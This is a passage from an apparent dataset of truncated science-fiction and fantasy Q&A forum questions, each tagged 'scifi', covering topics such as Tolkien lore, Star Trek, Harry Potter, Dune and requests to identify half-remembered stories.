40k, most ground combat is in very close range, but still all participants can ... ",['scifi'] "Title: What does Kevin Flynn mean when he says “The old man's gonna knock on the sky, listen to the sound.”? Body: After Kevin Flynn finished to repair Quorra, he had a discussion with Sam. When Quorra finally reboot, he end the discussion with this enigmatic phrase : The old man's gonna knock on the sky, ... ",['scifi'] "Title: Is the Doctor still married? Body: In ""The Snowmen"" the doctor kisses his new found companion-to-be... but isn't he still married to river song? Is he, essentially cheating, was there another purpose to it, or is there something else ... ",['scifi'] "Title: How far could the characters in Wreck-it Ralph travel from Game Central Station? Body: In the movie Wreck-it Ralph, characters can move from game-to-game using the (dodgy) power-board known as 'Game Central Station': Are we to believe that every game in the arcade is plugged in to ... ",['scifi'] "Title: Where four of seven kingdoms meet? [closed] Body: Where do four of seven Kingdoms meet? This is a clue from the 'scavenger hunt' on the Minecraft server http://westeroscraft.com/ , and I'm stuck. In this treasure hunt, the answer to each clue is a ... ",['scifi'] "Title: Is there any basis for the Kirk/Uhura flirting? Body: Other than in the Mirror Universe, is there any basis in prior Star Trek canon for the existence - however one-sided or not - of any ""love interest"" between Kirk and Uhura? I'm asking with curiosity ... ",['scifi'] "Title: Psychic girl who can read thoughts by touch! Body: I'm looking for a book, but I only read the first chapter and I don't remember much, but here's what I do remember: The main character was a girl who recently moved to a new town, I think it was ... ",['scifi'] "Title: Was Elrond, in Tolkiens opinion, more inherently powerful than Galadriel? Body: I always thougt it is the other way arround but then I read this (Letter 236): ""Of the others only Gandalf might be expected to master him – being an emissary of the Powers and a creature of the same ... ",['scifi'] "Title: How did the cookfire get hot enough to melt gold in Game of Thrones? Body: In the television series A Game of Thrones, Khal Drogo melts gold in a cookpot over a seemingly ordinary fire, and then pours the melted metal on Viserys' head. How could the cookfire get hot enough ... ",['scifi'] "Title: Is there an in-universe name for the “Vulcan Salute”? Body: I was about to ask someone about their usage of a particular hand gesture, which is similar to the way Vulcans use their ""Salute"" alongside the standard greeting of ""Live long, and prosper"" when I ... ",['scifi'] "Title: Do you think this is air you're breathing? Body: Please excuse the misquote from another film but reading this question has inspired me to ask if the Grid simulates air and the quote is kind of related as both movies share a similar concept of a ... ",['scifi'] "Title: Is the Green Lantern's Power limited to physical manifestations? Body: I being a noob to the Green Lantern noticed in his movie that he was only able to manifest physical expressions of his power through his ring such as a physical sword or car or track or ray of light ... ",['scifi'] "Title: How heavy is Superman on Earth? Body: Jor-El says in Superman I that Kal-El will not be like the humans of Earth. That he will have super strength and that he will be much denser than a man. Being denser means you have more mass which ... ",['scifi'] "Title: Short story; citizens allotted votes based on education, military service, etc Body: I am trying to find a short story (1970's or earlier) with a society where people all get one vote at birth but can accumulate additional votes based on education, military service, and other positive ... ",['scifi'] "Title: What parts of Half-Blood Prince were originally written for Chamber of Secrets? Body: I just ran across this comment: Never mind that in HBP case, we know that large swaths of HBP were witten to be in Book 2 (Chamber of Secrets) and then cut out and postponed till Book 6 :) I ... ",['scifi'] "Title: Where does the treasure in the troll cave come from? Body: Having just watched The Hobbit: An Unexpected Journey for a second time I only just realised something; I don't know where the treasure in the troll-cave comes from. I had assumed that as the trolls ... ",['scifi'] "Title: Civilian Aviation Engineer on BSG Body: What happened to the civilian aviation engineer from the Pegasus? Was he killed in an episode and I've just forgotten? ",['scifi'] "Title: Fringe: how could September or any other man from the future catch gun bullets in the air? Body: In the series September says that he and the ones like him are just humans from the future that could take control over time and go to any time they want to go. But if they are just humans (even it ... ",['scifi'] "Title: How long did the Rebellion study the Death Star plans? Body: Is there any indication from the movie, or other official material, on how long the Rebellion spent studying the stolen Death Star plans before they found out about the exhaust port vulnerability? ",['scifi'] "Title: Why is Jon Vander's nickname “Dutch”? Body: In the Star Wars universe, there's a pilot named Jon Vander whose nickname is ""Dutch"". I'm assuming that the Netherlands doesn't exist in Star Wars - or is at least sufficiently far away from the ... ",['scifi'] "Title: Did Zelazny give a reason for using the name “Amber”? Body: Did Roger Zelazny ever give a reason for using the name ""Amber"" in the Chronicles of Amber series? I'm looking for his out-of-universe thinking. If anyone can find the in-universe history of the ... ",['scifi'] "Title: What material is Ord's weapon made of? Body: In Astonishing X-Men #5, Ord, an alien villain hailing from the Breakworld, claims the following: there is no substance on earth this blade cannot cut through. Yet, Wolverine with his ... ",['scifi'] "Title: What programming language could Iron Man's Jarvis be programmed in? [closed] Body: My question is simple - assuming today's technologies and possibilities, what could be the best setup to build such intelligent system? Could today's intelligent systems such as Siri, or Google's ... ",['scifi'] "Title: Why did Doc Brown choose the Delorean DMC-12 as his first time traveling vehicle? Body: According to wikipedia, the movie makers decided The specific choice of vehicle was a DeLorean DMC-12 for the purposes of it looking like an alien spaceship due to its characteristic gullwing ... ",['scifi'] "Title: How can Galadriel go into the West? Body: At the end of the Lord of the Rings, Galadriel hops on a boat and sails away into the West. But wasn't she banned after the kerfuffle caused by Uncle Fëanor? ",['scifi'] "Title: How does ascension work in the Malazan Book of the Fallen series by Steven Erickson? Body: In the Malazan Book of the Fallen series, it is implied people 'ascend' to become gods (or god-like)? What decides who ascends and how does it work? ",['scifi'] "Title: A horror movie whose name I can't remember! Body: Two newly married couples went to a faraway house. They were chased by something that killed the bride. He went back alone to the house, where his wife, with her head cut off, suddenly appeared and ... ",['scifi'] "Title: In BSG when do we learn the assigned Cylon numbers for the models? Body: In BSG when do we learn the assigned Cylon numbers for the models? As a latecomer to the series, I hear people refer to cylon model numbers, but I am curious what episode those designations (e.g. ... ",['scifi'] "Title: Can the doctor really control the wind? Body: In the episode ""The Snowmen"" the doctor claims ""No one can control the clouds that would be silly; the wind, a little bit."" I was wondering if there is any evidence supporting this earlier in the ... ",['scifi'] "Title: If the Federation crew was able to beam aboard Borg cubes, why didn't they destroy it from the inside? Body: Many times Federation personnel beamed on board Borg Cubes, so if they were unable to destroy the Borg Cube by their torpedoes and other weapons why not simply plant a high energy destruction bomb ... ",['scifi'] "Title: Has JMS ever revealed the meanings of names in Babylon 5? Body: I like to read the various series wikias and guides as I go through a series I'd seen before, to pick up on stuff I may have missed. I ran across this on The Lurker's Guide to Babylon 5 for A Voice ... ",['scifi'] "Title: Why aren't “life support belts” used elsewhere in the Trek universe? Body: ""Life support belts"" have only ever been seen in the animated series (and apparently a non-canon video game as well). Is there any explanation for why? ",['scifi'] "Title: Is the sphere or bubble of pure force overused in scifi movies? [closed] Body: It seems that every time I see a movie with a character who either has the power of telekinesis or a force field of some sort that they almost always manifest it as a sphere or bubble of force. I'm ... ",['scifi'] "Title: How could Star Fleet personnel operate non-Star fleet equipment or vessels? Body: Many times I have seen in TNG that star fleet officers or ensigns (like Mr. Crusher) would pilot a shuttle of other civilizations easily or use different equipment (tricorders) to their own on the ... ",['scifi'] "Title: Was there any mention in Star Trek canon or non-canon novels of any encounter between the Borg and Klingons or Romulans? Body: As far as I remember, when Borg cubes attack the alpha quadrant, they always engage the Federation and Earth is their primary target. Have there been any mention of any encounter between the Borg and ... ",['scifi'] "Title: What kind of rabbits did Radagast use to pull his sleigh? Body: In the Hobbit movie, Ragadast has a sleigh that is pulled by rabbits. At one point he says something along these lines to Gandalf: These are ??? rabbits! I'd like to see them try (to catch me) ... ",['scifi'] "Title: How do people use verbal authorisation codes in Star Trek without giving them away? Body: The vast majority of times authorisation codes are used, they are usually spoken to a computer. I have never noticed any hesitation to do this while in the company of others. There also seem to be ... ",['scifi'] "Title: I'm looking for a teen book trilogy with science fiction Body: There are 3 books in total in this series. It features a boy in the present who meets a girl from the future who has come to help him save the coral reefs/rain forests/arctic glaciers because ... ",['scifi'] "Title: What is the short story where Nazi Hermann Goering is killed and resurrected/cloned multiple times so he can be punished repeatedly? Body: I believe it was published in a science fiction magazine in this century (such as Azimov, Astounding, etc.), but it could have been in the late 1990's, and it could even have been in a older book ... ",['scifi'] "Title: Story id: Asimov end of the world short story Body: I looking for the name of one of Asimov's short stories, where the world ends and all dead people start coming out of their graves and start talking to their relatives. I know some kind of celestial ... ",['scifi'] "Title: Was Jessica the only Bene Gesserit who majorly violated her orders? Body: The main plot of Dune revolves around the fact that Jessica, as Duke Leto Atreides' concubine, chose to bear him a son out of love for him, when the Kwisatz Haderach breeding program was dependent ... ",['scifi'] "Title: First Gen vs Second Gen prolong in Honorverse Body: In the Honor Harrington series by David Weber they keep talking about life extension via Prolong. They distinguish between First Generation recipient and Second Generation recipient. I am trying to ... ",['scifi'] "Title: Identify an anime series with combining robots Body: It is a mecha anime. I believe 4 or 5 robots combine into 1 giant robot. There are 2 male and 3 female pilots. one of the guys, the red head, sister has disappeared. the head of the team is this guy ... ",['scifi'] "Title: What is the relationship between the Compassion and the Brassica? Body: In the penultimate mission of the Star Trek: Judgment Rites game, the Enterprise must stop a ship populated by mentally-challenged humanoids from landing on a Federation colony. This interacts with ... ",['scifi'] "Title: Could the Arkenstone have been a Silmaril? Body: Frome Wikipedia:Silmaril ""In agony, Maedhros threw himself and his Silmaril into a fiery pit..."" From lotr wikia ""The Arkenstone also known as the ""Heart of the Mountain"" of Thrain was a ... ",['scifi'] "Title: Why is the gom jabbar seldom administered to males? Body: At the beginning of Dune, Gaius Helen Mohiam uses the gom jabbar to test Paul Atreides and confirm that he is human. During the preceding conversation, she states plainly that it is seldom ... ",['scifi'] "Title: What is Lando Calrissian wearing on his Wrist? Body: Again, when I visited the Star-Wars exposition this summer, I took a photo of Lando Calrissian's costume. I noticed the nice wrist device and made a close up of it : Unitl now, I tough it was ... ",['scifi'] "Title: Muad'Dib vs. Mahdi Body: When the Atreides arrive on Arrakis, there are a number of instance where the Fremen call Paul Mahdi. While I realise that Mahdi is Arabic for guided one, I can't help but wonder at its close ... ",['scifi'] "Title: How and why did the Elves sense Sauron's treachery when he put on the One Ring? Body: This question was borne out of another asking why the Dwarven rings produced greed and not invisibility shown here. Consider the following: Sauron encouraged and assisted the Elves in forging the ... ",['scifi'] "Title: Story about first Spacecraft Body: A couple of years ago I've heard about an interesting (based on the hearing) story. I didn't know what it is: a small tale or a novel. The storyline is evolved around a first interstellar Spacecraft ... ",['scifi'] "Title: Desperate to find comic, features female protagonist, pretty sure a goddess? Body: I've been searching for a urban fantasy comic/graphic novel series that I used to read when i was younger, in the last 8 years. It featured a female protagonist who was a goddess I'm pretty sure. It ... ",['scifi'] "Title: 1980s robot cartoon. A boy, girl and a baby robot. they were red bodied with white heads Body: Does anyone remember an obscure short lived cartoon in the 1980s. I remember it had 3 characters, boy, girl and a baby robot. Red bodies, white head, yellow belts and yellow and blue shoes. They made ... ",['scifi'] "Title: (An Unexpected Journey) Did the mountains fighting have any effect on the story? Body: It was, of course, pretty cool to watch. But was it just for showing off graphics prowess, or did it actually do something to affect the story? I later guessed that the incident prompted them to take ... ",['scifi'] "Title: Why didn't Hugh the Hand turn into a lazar? Body: In The Death Gate Cycle; why didn't Hugh the Hand turn into a lazar when Alfred got him back from the dead? ",['scifi'] "Title: Why does Gandalf seek counsel from Saruman about the One Ring after leaving Frodo in the Shire? Body: We know that Saruman bore ill-will toward Gandalf for millennia before the events of The Lord of the Rings. It began with their arrival in Middle Earth when Cirdan gives Narya to Gandalf, or at least ... ",['scifi'] "Title: How Can Those Wearing the One Ring Be Seen in the Sunlight As a Shadow? Body: How can those wearing the One Ring be seen in the sunlight as a shadow? [Bilbo] could see outside into the open air; there were a few steps running down into a narrow valley between tall ... ",['scifi'] "Title: How did the One Ring abandon Gollum? Body: I'm sorry I have to mix a little movie line with The Hobbit the novel. In Peter Jackson's The Fellowship of the Ring, Lady Galadriel, while narrating the beginning of the movie, mentions that the ... ",['scifi'] "Title: Why did Justice League choose the Batcave to hide in? Body: In the second-season finale of the Justice League animated series Starcrossed (last 3 episodes), the Justice League (minus Hawkgirl) was captured by Thanagarians. But they managed to escape the prison ... ",['scifi'] "Title: Why didn't Fidelius charm on Shell Cottage stop the heroes from apparating there from Malfoy Manor? Body: Considering Bill Weasley was the Secret Keeper for Shell Cottage, how did Harry and Dobby Apparate to the cottage? Or, for that matter, Luna and Ollivander? ",['scifi'] "Title: What happens if the Borg queen dies? Body: In the television series STG, Vogager and movies there has always been a Borg queen character. While the Star Trek wiki has plenty of information about the history of the character. I'm still unclear ... ",['scifi'] "Title: Where did the Sandworms/Sandtrout originally come from? [duplicate] Body: Possible Duplicate: How did the sandworms/sandtrout appear on Arrakis? I'm going to ask a more pointed version of this question: How did the sandworms/sandtrout appear on Arrakis? Has ... ",['scifi'] "Title: Does Gollum know that he was once a hobbit? Body: Gollum is crazy, we know that, but does he realize that he was once a hobbit who changed? Does he remember any of his former self especially when he meets Bilbo? ",['scifi'] "Title: Which House was Moaning Myrtle From? Body: I've just read Sorcerer's Stone or Philosopher's Stone with my daughter and watched the movie and we are now beginning Chamber of Secrets. As my husband and I were watching the movie (to decide if it ... ",['scifi'] "Title: Is the ship to ship combat in the Star Trek movies meant to evoke the 'Age of Sail'? Body: During the battle scene in Wrath of Khan both ships appear to make passes at each other and fire 'broadsides' in a manner very similar to that of ships of the line in the 19th century and any number ... ",['scifi'] "Title: How many children did Valentine have in “Speaker” trilogy? Body: From TVTropes for ""Ender's Game"": ... (Of course, this is the series that can't make up its mind how many children Valentine actually had.) So, how many children DID Valentine have? If there are ... ",['scifi'] "Title: Bill, the Galactic Hero: meaning of the Leg Body: Through the series about Bill, the Galactic Hero, he gets many different legs and I wonder: how many different legs does he... ""wear""? ""use""? does Harrison tear Bill's leg off for some deep reasons ... ",['scifi'] "Title: A short story I read long ago about the phone system 'waking up' Body: I am looking for a short story I read long ago about the phone system 'waking up'. It talks about how the phone system had just reached the number of connections as the number in the human brain. They ... ",['scifi'] "Title: Just how close is that other Earth in Another Earth? Body: I recently watched Another Earth and I would like to know what the actual distance between the two earths is, using the size of the disks as illustrated in this photo: ",['scifi'] "Title: Animatrix: In “Kid's Story”, how was the kid found? Body: According to the Wachowski's, the Red Pill allowed the Nebuchanezzer to find Neo's body in the real world: ""[The Red Pill] is like a computer virus that’s meant to disrupt Neo’s life signal so ... ",['scifi'] "Title: Animatrix: What's going on in “Matriculated”? Body: I've read on a few forums people saying things along the lines of, ""Matriculated was my least favourite of the Animatrix anime, but then I watched it a few times and realised what was going on. Now ... ",['scifi'] "Title: Why do they still refer to the “Seven Kingdoms” in Game of Thrones? Body: As I understand it, the ""Seven Kingdoms"" refer to the kingdoms before Aegon's Conquest. Aren't there more kingdoms around the time that the first book is set? (For example, the Iron Islands and ... ",['scifi'] "Title: What's the range of Magneto's powers? Body: As the summary says, is the range of Magneto's powers mentioned anywhere? ",['scifi'] "Title: Did the Harry Potter movies influence JKR's later HP books? Body: Harry Potter books were published in 1997, 1998, 1999, 2000, 2003, 2005 and 2007. Harry Potter movies were released 2001, 2002, 2004, 2005, 2007, 2009, 2010, 2011. As can be seen, the last 3 books ... ",['scifi'] "Title: The Jesus Incident: Is there a reason Herbert used the name “Jesus Lewis”? Body: In the (lesser known, non-Dune) novel ""The Jesus Incident"" one of the character's name is ""Jesus Lewis"". We learn in an important scene that it's normally pronounced in the Spanish style (i.e. ... ",['scifi'] "Title: Looking for a book about RPG players which get pulled into their game? Body: I read a book as a teenager and I am searching for it. (from around the 90's) THINGS I REMEMBER: I remember that one of the players was in a wheelchair and he played a dwarf, Also remember when the ... ",['scifi'] "Title: Why do the other changelings look like Dr Mora? Body: It is mentioned in The Forsaken that when he first took humanoid form, Odo mimicked the hairstyle of Dr Mora, the Bajoran scientist who was studying him. In a season 2 episode, The Alternate, we get ... ",['scifi'] "Title: What happened in Tasha Yar's bedroom? [duplicate] Body: Possible Duplicate: Data being intimate with Tasha Yar - why was Data built with this capability? When the crew of the Enterprise is infected with the polywater intoxication in ""The Naked ... ",['scifi'] "Title: Why did Thorongil warn Ecthelion against the White Wizard? Body: I'm rereading The Lord of the Rings. Appendix A, ""Annals of the Kings and Rulers"", tells us that Aragorn son of Arathorn spent part of his youth in Minas Tirith under the assumed name ""Thorongil"" ... ",['scifi'] "Title: Do we see any female pilots in the original trilogy? Body: I was rewatching the original Star Wars trilogy recently and realized: though my love for Wedge Antilles is that of a true fan, I can't recall seeing any female pilots onscreen, even in the ... ",['scifi'] "Title: Why does the Silver Surfer create holes on earth? Body: In the movie Fantastic 4: Rise of the Silver Surfer Why does the Silver Surfer create holes on earth? I think he's preparing the earth for the arrival of the Galactus the Devourer, but I'm not sure ... ",['scifi'] "Title: Is the Doctor Who episode 'Blink' the first use of the phrase “timey-wimey”? Body: Was the phrase ""timey-wimey"" (or time-y wimey) used in Doctor Who, or elsewhere, before it appeared in the script of the 2007 episode ""Blink""? ",['scifi'] "Title: Short story about an immersive video game with a fantasy dungeon crawl theme Body: I read this some time in the 80's, and I am fairly certain it was in a magazine (most likely Dragon Magazine). The story was about a girl who played a thief-like character in an online video game. I ... ",['scifi'] "Title: what's this novel? a mathematician turned marine is transported to the future Body: I read this novel some time in the 90s, not sure when it was written. The time travel had to happen at certain times, the interface of air and water, early morning. I think in the backstory he had ... ",['scifi'] "Title: Why did the Seanchan hang the watchers? Body: As the Seanchan invaded Falme, they hang the watchers of Watchers over the wave because ""They watched for the wrong thing"". But what is the right thing to watch? It seems to they were watching for the ... ",['scifi'] "Title: Why did Kenobi alert Grievous about ship's self-destruct? Body: In Star Wars: The Clone Wars Season 5 Episode 8 Bound for Rescue, Grievous defeated Kenobi & gained control over his Republic starship. Moments before he was going to collect data from data banks ... ",['scifi'] "Title: What level of autonomy was Sauron granted by Morgoth? Body: Sauron was Morgoth's servant and pursued his ends while Morgoth was unable to. What level of autonomy was he granted to do this? ",['scifi'] "Title: Obscure movie from 1980s/1990s - Cartoon (maybe anime) with girl Body: I remember watching a movie as a child, in the 80s or early 90s (I'm 27 now) and for the life of me I can't remember the title (or a lot of details about it). So I'm hoping the few and random bits I ... ",['scifi'] "Title: What gave Isildur the power to successfully curse the Men of Dunharrow? Body: The swarms of dead men fighting for the good side always seemed wrong to me. I know they did it to be released from their plight, but.... It's one thing to curse somebody, it's quite another to back ... ",['scifi'] "Title: How did Khan know of the old Klingon proverb? Body: In the movie The Wrath of Khan, Khan says: Ah, Kirk, my old friend, do you know the Klingon proverb that tells us 'Revenge is a dish that is best served cold?' It is very cold ...in space. Khan ... ",['scifi'] "Title: Why Did Sauron Believe Pippin Had the One Ring? Body: When Pippin looked into the Palantir of Orthanc, why did Sauron believe Pippen was the ring bearer? I'm just a couple of chapters into The Return of the King, and it isn't clear to me from the movie, ... ",['scifi'] "Title: I read Asimov's Foundation trilogy. Which Foundation novel should I tackle next? [duplicate] Body: Possible Duplicate: What order should Asimov’s Foundation series be read in? I recently read Asimov's Foundation Trilogy (i. e. Foundation, Foundation and Empire and Second Foundation. I ... ",['scifi'] "Title: Identify: a story on quantum indeterminacy, where protagonist has to “quantum select” a portable computer's state Body: Story: protagonist receives a device, which looks like a portable computer, and has to use his ""quantum reality version selection"" abilities to pick the one reality's version where the computer has ... ",['scifi'] "Title: When is a raven like an eagle? When it's on the Ravenclaw house crest Body: I saw an image macro on facebook the other day that started me thinking; I tried to look into it and I found two separate styles. Pottermore Style Book Style Neither of these to me looks ... ",['scifi'] "Title: Why did Dumbledore tell Harry there were 6 Horcruxes when he already knew Harry was a horcrux? Body: Harry: ""He made seven Horcruxes?"" Dumbledore: ""...Not seven Horcruxes: six. The seventh part of his soul, however maimed, resides inside his regenerated body..."" (HP6, US Hardback, page 503). ... ",['scifi'] "Title: How could the diary Tom Riddle soul know what happened between Tom and Hagrid? Body: It is said that Tom Riddle diary was made into a Horcrux via the murder of Moaning Myrtle via Basilisk. If that was the case, the soul piece that went into the diary was split off when this happened. ... ",['scifi'] "Title: Who or what is the voice Cole hears and calling him as “Bob” in Twelve Monkeys? Body: In Twelve Monkeys, Cole hears someone who calls him as ""Bob""... He hears him in the past and also in the future... Who or what is he? ",['scifi'] "Title: Did Snape ever commit murder? Body: It's well known that Severus Snape was, in one way or another, a Death Eater since he was at Hogwarts. He hung out with the likes of Avery and Mulciber who became well known Death Eaters, he joined ... ",['scifi'] "Title: Looking for title & author - short story - possibly called “Arms Race” - about rediscovery of manual arithmetic Body: short story - possibly called ""Arms Race"" - about rediscovery of manual arithmetic. The hero rediscovers manual calculation - e.g., how to do long division with pencil and paper - in a world where ... ",['scifi'] "Title: Did Voldemort Kill Anyone By Means Other Than Avada Kedavra? (Aside from …) Body: I considered Regulus Black as a candidate, but Voldemort did not directly kill Regulus with conscious intent. Regulus discovered the existence of the Horcrux cave and technically allowed himself to ... ",['scifi'] "Title: Evil force in basement possesses people Body: This is prolly gonna be incredibly vague, so I apologize. When I was a kid, I remember watching a movie that involved a bunch of friends in a building of some sort, and some how, they'd each ... ",['scifi'] "Title: Why Was Hagrid's Wand Snapped? Body: Why was Hagrid's wand snapped in two when he was expelled from Hogwarts? Why was he banned from performing magic? Yes, he was expelled from Hogwarts after being framed by Tom Riddle as being ... ",['scifi'] "Title: By the end of the Batman Trilogy, how many people came to know the true Identity of Bruce Wayne? Body: In Batman Begins very few people knew about the True Identity of Bruce Wayne, but as the series progressed the number of people knowing this fact dramatically increased. Can you provide the list of ... ",['scifi'] "Title: Hauser's Mission Body: If Hauser's memory was wiped and he was never supposed to go to Rekall, what was his mission supposed to be? It seems that if not for him going to Rekall without anyone knowing he would have just live ... ",['scifi'] "Title: Creature crawling under surface of walls - Horror movie Body: I recall a horror movie featuring a human-like creature/monster that moved under the surface of the building, walls, carpets, and even the kitchen sink, causing the plates to fall to the ground. ... ",['scifi'] "Title: Why does Hermione whisper Levicorpus? Body: In Harry Potter and the Deathly Hallows Chapter 26: Gringotts, when: We see that: [Hermione] raised her wand, pointed it at Harry and whispered, 'Levicorpus.' However in book 6, when Harry ... ",['scifi'] "Title: How did the Millennium Falcon get from Hoth to Bespin without hyperdrive? Body: How did the Millennium Falcon get from Hoth to Bespin without their hyperdrive? Are these locations so close together? I would think not, because Hoth is in the Hoth Sysem and Bespin is in the Bespin ... ",['scifi'] "Title: Mothership broken down Body: At the end of District 9, it transpires that Given that all the alien technology came from the mothership in the first place, why didn't they just do that right at the start? Why did they even stop ... ",['scifi'] "Title: Why does the bridge dim during Red Alert? Body: I can't recall if this happens in any of the other series, but in Voyager I've noticed that lighting on the bridge (and, perhaps, other parts of the ship as well) dims whenever Red Alert is called. ... ",['scifi'] "Title: Name of a book in which 'Genius' children created programs Body: Trying to find out what the series was where there was a child that created 'Guard dog programs"" and another something called the 'dragon?' I remember a bank being involved in the first part of the ... ",['scifi'] "Title: ID this 90's stop motion film about little people Body: It was a sci-fi/fantasy movie probably from the 90's, and I believe it was a stop motion film. Little people from outer space are trying to find way back home guided by this small computer cube. At ... ",['scifi'] "Title: What Is the Correct Pronunciation of Beauxbatons? Body: What is the correct pronunciation of 'Beauxbatons'? I was wondering about Beauxbatons this morning. In the Goblet of Fire movie, Dumbledore pronounces Beauxbatons as ""Bo-ba-tins."" It's been many ... ",['scifi'] "Title: An author/book that described the future history of humanity, going as far as the Big Crunch? Body: Read him on the internet some years ago, and lost all reference. He glossed over the future history of humanity, going fully to the Big Crunch. At one point there was a glacial age, and people had ... ",['scifi'] "Title: Can an Animagus retain their wand in animal form? Body: If an Animagus transforms to their animal form, can they pack their wand such that they get it back when they transform back to human form even if they travel far from where they have transformed? I ... ",['scifi'] "Title: Can Ted die a natural death? Body: In the 2012 release movie, Ted, can Ted the teddybear die a natural death? In what aspects is the life within him different from the life within humans? ",['scifi'] "Title: Why rebuild the bat signal? Body: At the end of The Dark Knight Rises we see Jim Gordon run his hand across a new bat signal, but as far as he knows batman is dead and no more. So what was the purpose in building a new bat signal. ... ",['scifi'] "Title: Do owls have to have training? Body: How do owls in Potterverse know how to deliver letters? Is there some sort of training they go through before being out in the field? Can any owl be used, or are there only specific breeds that are ... ",['scifi'] "Title: Dystopian book: inhabitants of an underground city have no books and don't know the war has ended Body: This has been bugging me for years. I checked it out from the juvie fiction section of the library in Texarkana, Texas, probably around 1990 or so, but can't say when it would have been written. ... ",['scifi'] "Title: Why was the realm of shadows impenetrable to vision but not hearing? Body: Did Tolkien ever explain why those in the realm of shadows (Nazgul, Frodo, Bilbo) were not visible from the normal realm; and yet could hear and be heard (Nazgul could speak to humans, and hear their ... ",['scifi'] "Title: Are the 9 Nazgûl rings visible when worn? Body: We know that the Ring-wraiths themselves are invisible in the flesh: And they became forever invisible save to him that wore the Ruling Ring, and they entered into the realm of shadows. - The ... ",['scifi'] "Title: Would Gollum's clothes turn invisible when he wore The One Ring? Body: We know that both Frodo and Bilbo turned 100% fully invisible when wearing The One Ring, their clothes included (as seen in Bilbo's disappearing trick at his farewell party, and Frodo's disappearance ... ",['scifi'] "Title: What are the words of Galadriel at the beginning of the Fellowship? Body: In the trilogy of the movies, at the very beginning Galadriel says a few words starting with ""The World is changed. I feel it..."" In the background the words start in Elvish ""Yamma presta..."" What are ... ",['scifi'] "Title: New To Star Trek [duplicate] Body: Possible Duplicate: Where should I start with Star Trek? Hi I am new to Star Trek. Well I have seen random episodes here and there I have never fully watched a series. I am curious as to ... ",['scifi'] "Title: What is the name of 90's cartoon about valley of whales? Body: It was broadcast in Israel (and dubbed to Hebrew) in 1995 or 1996 so that makes it probable that it was created between 1993-1996. The style of drawing suggest french cartoons like ""Journey to the ... ",['scifi'] "Title: Doctor Who: Big Bang 2.0 is driving me crazy Body: In Doctor who 2005: Big bang 2.0, the doctor appears with a hat or something and a mop in his hand to rescue himself and Amy Pond after he is sealed shut inside the pandorica. How can the doctor come ... ",['scifi'] "Title: Does Prometheus contradict Alien vs. Predator? Body: At the end of Prometheus one sees a creature that looks surprisingly like the xenomorph alien. Does that scene show the actual origin of it? Does it contradict the version from AVP1 (Alien vs. ... ",['scifi'] "Title: What's all the carrying PADDs around? Body: In Star Trek, people are often handed PADDs (Personal Access Display Devices) holding various bits of information and told to take them to one place or another, which seems awfully inefficient. Why is ... ",['scifi'] "Title: After the events of 'The Big Bang' what is the state of Gallifrey? Body: After the events of episode 'The Big Bang', the Doctor has 'rebooted' the universe and is only brought back by Amy remembering him. It seems that those that were with him during those events retained ... ",['scifi'] "Title: Who added the extra wards to Callandor? Body: As of the end of Towers of Midnight do we know who added the extra wards to Callandor that were present when Jahar Narishma collected it for Rand in The Path of Daggers? (The retrieval happened off ... ",['scifi'] "Title: Which book/film ended this way? Body: I read a book (I'm sure it was a book) ages ago. It ends with a character floating aimlessly through space. They are alive (or still have power) and floats for millennia to the point where time ... ",['scifi'] "Title: Significance of the White Stag and Hunt in The Hobbit Body: I am re-reading Tolkien's The Hobbit (in anticipation of the movie), and was wondering if there was some further significance to the appearance of the white stag/deer. In the chapter ""Flies and ... ",['scifi'] "Title: Does It Break a Rule For a First Year to Play Quidditch For His/Her House Team, Or Is It Simply Tradition? Body: Is it against the Hogwarts rules for a first year to play Quidditch, or is it simply an unspoken tradition that first years never make their house team? ‘You’re joking.’ [Ron said] It was dinner ... ",['scifi'] "Title: Why is Splinter's origin inconsistent in the various TMNT series? Body: As far back as I remember the turtles and their master's origins have differed; the four turtle brothers were turtles made humanoid, and splinter was master Yoshi made ratty....you know what I mean. ... ",['scifi'] "Title: Which “Stargate” actor played the same role in “Stargate Atlantis”? Body: Wikipedia says this about Richard Kind: In 2006, he guest starred on Stargate Atlantis as Lucius Lavin, in the episodes ""Irresistible"" and ""Irresponsible,"" making him the only actor to appear in ... ",['scifi'] "Title: Are there any new sci-fi shows with similar quality to Stargate and Star Trek? [closed] Body: Stargate has been over for a while now... yet I haven't seen anything to take its place yet. Are there any new sci-fi shows I can watch to fill the void? ",['scifi'] "Title: Were there tigers or bears in L. Frank Baum's books about the land of Oz? Body: They talked about them: Dorothy: ""Do you suppose we'll meet any wild animals?"" Tin Woodsman: ""Mm, we might."" Scarecrow: ""Animals that eat... s-traw?"" Tin Woodsman: ""Some, but ... ",['scifi'] "Title: After the past is altered in Source Code movie what would happen if Sean Fentress possessed by Colter Stevens Dies? Body: Colter Stevens takes over the body of Sean Fentress for every 8 minutes. Every time Sean Fentress (possessed by Colter Stevens) dies, he wakes up in the program, but he is able to change the past by ... ",['scifi'] "Title: What genre are the epic musical pieces from fantasies such as Lord Of The Rings? [closed] Body: I'm looking to find the genre of music that is played in Lord of the rings and other similar such movies. I often like the style which involves a string instrument like the violin or viola. I'm not ... ",['scifi'] "Title: What happened to Phillip in On Stranger Tides? Body: At the end of the movie Pirates of the Caribbean 4: On Stranger Tides, Am I meant to assume he's dead now? Or was there some symbolic meaning to this gesture that I didn't catch? ",['scifi'] "Title: How are the shrunken kids able to breathe normal air? Body: In Honey, I Shrunk the Kids, Wayne Szalinski describes his shrink-ray as reducing the ""empty space"" in matter to make things smaller. Granting the central conceit of the movie that such a thing is ... ",['scifi'] "Title: Is there a hidden significance behind the fact Galadriel gave 3 hairs to Gimli instead of one? Body: I just saw an interesting interpretation of Galadriel's gift to Gimli on Reddit today, I retraced the source of the image to this tumblr post: If you’ve read the Silmarillion, you know who ... ",['scifi'] "Title: Is there canonical reference linking the original Cyberdyne Systems research in T2 to Brewster's Skynet in T3? Body: Is there canonical reference to show that the original Cyberdyne Systems research in T2 (which was presumably destroyed by teenage John and Sarah Connor, Miles Dyson and T-800) somehow helped or ... ",['scifi'] "Title: What material is the holding container aboard the helicarrier made of? Body: In the Avengers movie, Thor is seen hitting the holding container (designed to contain The Hulk if I'm not mistaken) with his hammer, Mjolnir, which is made of enchanted uru. The glass (?) of the ... ",['scifi'] "Title: Why can't the military kill the Walking Dead? Body: In the TV series The Walking Dead, why has the military been so ineffective against the walker invasion? If the walkers can be stopped by something as simple as fences and glass doors (like at the ... ",['scifi'] "Title: What is “The Dark” and where can I learn more about it? Body: I was reading about the concept of ""The Dark"" in Luke Skywalker and the Shadows of Mindor and I want to learn more about it. It isn't on Wookieepedia (suprisingly) and not on the CUSWE (Complete ... ",['scifi'] "Title: What are the rules 